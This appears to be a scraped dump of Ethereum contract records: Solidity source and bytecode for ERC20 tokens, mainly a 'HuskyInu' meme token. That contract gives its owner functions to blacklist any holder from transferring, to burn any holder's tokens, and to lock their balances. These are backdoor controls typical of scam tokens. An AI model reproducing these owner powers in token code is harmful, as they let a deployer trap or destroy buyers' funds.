_burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b03813516906020013561041e565b604080519115158252519081900360200190f35b6101f6610449565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b0381358116916020810135909116906040013561044f565b61024661047c565b6040805160ff9092168252519081900360200190f35b6101f6610481565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610490565b6102986104b4565b005b610298600480360360208110156102b057600080fd5b503561055b565b6101da610568565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b0316610578565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610593565b6102986105a1565b61032161064f565b604080516001600160a01b039092168252519081900360200190f35b6101da61065e565b61013961066f565b6101da6004803603604081101561036357600080fd5b506001600160a01b03813516906020013561068f565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106b3565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106d7565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610702565b604051806040016040528060098152602001682937ba3a32b7103b1960b91b81525081565b600354600090600160a01b900460ff161561043857600080fd5b61044283836107fc565b9392505050565b60025490565b600354600090600160a01b900460ff161561046957600080fd5b610474848484610812565b949350505050565b601281565b6a13da329b6336471800000081565b600354600090600160a01b900460ff16156104aa57600080fd5b6104428383610869565b6104bc61065e565b61050d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052357600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056533826108a5565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b61059d828261097e565b5050565b6105a961065e565b6105fa576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061157600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b60405180604001604052806004815260200163524f545360e01b81525081565b600354600090600160a01b900460ff16156106a957600080fd5b61044283836109c3565b600354600090600160a01b900460ff16156106cd57600080fd5b61044283836109ff565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61070a61065e565b61075b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a05760405162461bcd60e51b8152600401808060200182810382526026815260200180610d156026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610809338484610a0c565b50600192915050565b600061081f848484610af8565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461085f91869161085a908663ffffffff610c3a16565b610a0c565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080991859061085a908663ffffffff610c9716565b6001600160a01b0382166108ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d5d6021913960400191505060405180910390fd5b6002546108fd908263ffffffff610c3a16565b6002556001600160a01b038216600090815260208190526040902054610929908263ffffffff610c3a16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098882826108a5565b6001600160a01b03821660009081526001602090815260408083203380855292529091205461059d91849161085a908563ffffffff610c3a16565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080991859061085a908663ffffffff610c3a16565b6000610809338484610af8565b6001600160a01b038316610a515760405162461bcd60e51b8152600401808060200182810382526024815260200180610da36024913960400191505060405180910390fd5b6001600160a01b038216610a965760405162461bcd60e51b8152600401808060200182810382526022815260200180610d3b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b3d5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d7e6025913960400191505060405180910390fd5b6001600160a01b038216610b825760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf26023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bab908263ffffffff610c3a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be0908263ffffffff610c9716565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c91576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610442576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820ea9f536c51609f6053a11c66826e913618ed58ef97e3c3067997ab83e0c41ea864736f6c63430005110032
{"success": true, "error": null, "results": {}}
557
0xd48018b452b89f83f0794d13afbe3d0ba62f4ca0
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract HuskyInu is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isbot(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function addbot(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unbotTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b129644d11610071578063b129644d146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c5780637be2b4311461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806331f9cdf7146103d657806339509351146104305780633d72d68314610494578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610418600480360360208110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b61047c6004803603604081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d36565b60405180821515815260200191505060405180910390f35b6104e0600480360360408110156104aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de9565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec9565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061111d565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e5565b6040518082815260200191505060405180910390f35b61060a61122d565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b8565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061142c565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061150a565b60405180821515815260200191505060405180910390f35b61073b6115e4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f61160e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b0565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061177d565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061179b565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610ddf610d43611e09565b84610dda8560046000610d54611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610df3611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ebf838361295d565b6001905092915050565b610ed1611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461103c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600115156002600061112f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b6111da848484612b21565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611235611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010154421115611417576000809250925050611427565b8060000154816001015492509250505b915091565b6000611436611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61150182612d5c565b60019050919050565b6000600115156002600061151c611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b6115ce6115c7611e09565b858561214c565b6115d9848484612b21565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116a65780601f1061167b576101008083540402835291602001916116a6565b820191906000526020600020905b81548152906001019060200180831161168957829003601f168201915b5050505050905090565b60006117736116bd611e09565b8461176e856040518060600160405280602581526020016133bb60259139600460006116e7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b600061179161178a611e09565b848461214c565b6001905092915050565b60006117a5611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611867576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61187082612f4a565b60019050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffff